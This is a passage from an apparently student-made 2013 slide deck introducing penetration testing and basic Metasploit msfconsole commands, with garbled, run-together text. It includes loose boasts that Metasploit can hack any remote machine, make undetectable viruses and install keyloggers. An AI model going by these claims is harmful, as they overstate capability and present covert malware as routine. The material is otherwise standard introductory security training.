system or a network by simulating an attack from a malicious source, known
as black hat hackers, or crackers. The process involvesan active analysisof
the system from any potential vulnerabilities that may result from poor or
improper system configuration, known and/or unknown hardwareor
softwareflaws, or operational weaknessin processor technical
countermeasures.
2. Why conduct a penetration testing?
From a businessperspective, penetration testing helps safeguard your
organization against failure, through:
 Preventingfinancialloss through fraud or through lost revenuedueto
unreliablebusiness system and processes.
 Provingduediligence and complianceto your industry regulators,
customersand shareholders.
 Protecting your brand by avoidingloss of consumer confidenceand
businessreputation.
Penetration Testing 2013

41. 3. What can be tested?
All part whereorganization captures, store and processes information can be
assessed like the system wherethe information is stored in, the transmission
channels that transportit, and the processes and personnelthat managesit,
Examplesof areas that are commonly tested are:
 Operating system, applications, database, networkingequipmentsetc.
 Dynamicwebsites, in-houseapplications etc.
 Telephony (war-dialing, remote access etc.)
 Personnel(screeningprocess, social engineering etc.)
 Physical (access controls, dumpster divingetc.)
 Wireless (wifi, Bluetooth, IR, GSM, RFID etc.)
4. What is a process of penetration
testing?
Penetration testing has a vulnerability assessmentpart also. In pen test we
launch attack and in VA (vulnerability assessment) we only test for
vulnerability by automated VA tools like Nikto, nessus, acunetix etc.
Steps of advanced penetration testing:
Penetration Testing
Automated
VA by Tools
Manual
Using:
Metasploit

42. 1. If we wantto do pen test on any website like, www.anysite.com weneed
DNS Records from robtex.com & whois records and other typeof
information this part is known as InformationGathering.
2. After weuse backtrack operating system (also known aspen-testing OS
for security experts) toolkit for auto pen-testing with help of free tools
like: Nikto, Privoxy,Nessus,Samurai etc.
3. Makereport for all found vulnerabilitiesand cross verify.
4. Use commercial software’s like:
Core Impact,Canvas, Qualys Guard, Xcobra,NTOSpider,KSES,
AppScan, Webinspect,Brupsuite, Acunetix WVS etc.
5. Makereport for new vulnerabilities.
6. After wewill start manualpen-testingwith help of Metasploit &
Reverseeng tools.
7. Find vulnerabilities and take screen shots for Proof-Of-Conceptcreate
custom report.
8. Forward Custom Reportto company.

43. 1. What is Metasploit?
The Metasploitproject is an open-source, computer security projectwhich
providesinformation aboutsecurity vulnerabilities and aids in penetration
testing and IDS signaturedevelopment. Itsmost well-known sub-projectis the
Metasploit framework, atool for developingand executingexploit code
against a remote target machine. Other importantsub projects includethe op-
code Database, shell codearchive, and security research. Metasploit is a best
hacking framework for local and remote hacking donein an easy way.
Metasploit Terms:
Exploit  to take advantage of a security flaw within a system, network, or
application.
Payload is code that our victim computer to execute by the Metasploit
framework.
Module  a small piece of code that can be added to the Metasploit
framework to execute an attack.
Shell-code  a small piece of code used as a payload.
MSFconsole:
MSFconsoleis an all-in-one interface to most of the featuresin Metasploit.
MSFconsolecan be used to launchattacks, creating listeners, and much, much
more. Metasploit comes installed by default on backtrack 5. To access
MSFconsole, open your consoleand type:
Metasploit 2013

44. root@bt: ~# cd /opt/framework3/msf3/
root@bt: ~#/opt/framework3/msf3# msfconsole
After sometime, the msfconsolewill boot.
Or you can directly use “msfconsolecommand” to open Metasploit.
What we can do with Metasploit?
 Wecan hack all platformsof windows, linux, sun solaris, AXIetc
 Wecan hack any remote machine by the available exploits in adobe
acrobat 9.0.0.0, 8.1.1, Winamp, Realplayer, Oracle, Mozilla, IE, yahoo
messenger.
 Wecan create un-detectable VIRUS in exe, java, pdf, mp3 etcformats.
 Wecan sniff network traffic, and sessions for email passwords. SSL
protection and data protection.

45.  Wecan install key logger on remote machine, record audio etc
Msfconsole Commands:
1. Show Entering'show' at the msfconsolepromptwilldisplay every
modulewithin Metasploit. There are a number of 'show' commands
you can usebut the ones you willuse most frequently are 'show
auxiliary', 'showexploits', 'showpayloads', 'showencoders'.
Show targets  For showing target in particular exploit.
Show options  Shows the variousoption of exploit

46. Show advanced  shows advanceoption of exploit.
Show payloads  It list all payloads.
Show exploits  It list all exploits.

47. Show auxiliary  it list all auxiliary.
2. Use  When you have decided on a particular moduleto make use
of, issuethe 'use' command to select it. The 'use' command changes
your context to a specific module, exposingtype-specificcommands.
Notice in the outputbelow that any global variables that were
previously setare already configured.

48. 3. Set  The 'set' command allowsyou to configureFramework
optionsand parameters for the currentmoduleyou areworking
with.
4. unset  The oppositeof the 'set' command, of course, is 'unset'.
'Unset' removesa parameter previously configured with'set'. You
can removeall assigned variables with 'unsetall'.
5. Back  Once you havefinished workingwith a particular module,
or if you inadvertently select the wrongmodule, you can issue the

49. 'back' command to moveout of the current context. This, however is
not required. Justas you can in commercialrouters, you can switch
modulesfrom within other modules. Asa reminder, variableswill
only carry over if they are set globally.
6. check Therearen'tmany exploitsthat supportit, but there is also
a 'check' option that will check to see if a target is vulnerableto a
particular exploit instead of actually exploiting it.
7. info  The 'info' command willprovidedetailed information about
a particular moduleincludingalloptions, targets, and other

50. information. Besureto alwaysread the moduledescription prior to
usingit as some may have un-desired effects.
The info commandalso provides the following information:
The author and licensing information
Vulnerability references(ie: CVE, BID, etc)
Any payload restrictionsthe modulemay have
8. searchThemsfconsoleincludesan extensiveregular-expression
based search functionality. If you have a general idea of what you
are looking for you can search for it via 'search '. In the output
below, a search is being madefor MSBulletin MS09-011. Thesearch
function willlocate this string within the modulenames,
descriptions, references, etc.

51. 9. sessions The'sessions' command allowsyou to list, interact with,
and kill spawned sessions. The sessionscan be shells, Meterpreter
sessions, VNC, etc.
Session –l  To list any active sessions
Session –i  To interact with a given session, you justneed to usethe '-i'
switch followed by the Id number of the session.

52. 1. Companies startedtaking Information Security seriously.
2. Salary is good.
3. The field is diverse.
4. I will never be unemployed.
5. I have an opportunity to interact with everyone in the company.
6. I will set the rules (and also have the power to breakthem).
7. Being a security professional is cool… or at least people think it is.
Reason for choosing CEH 2013

54. Gantt chart 2013

55.  http://anti-virus-software-review.toptenreviews.com/
Bibliography 2013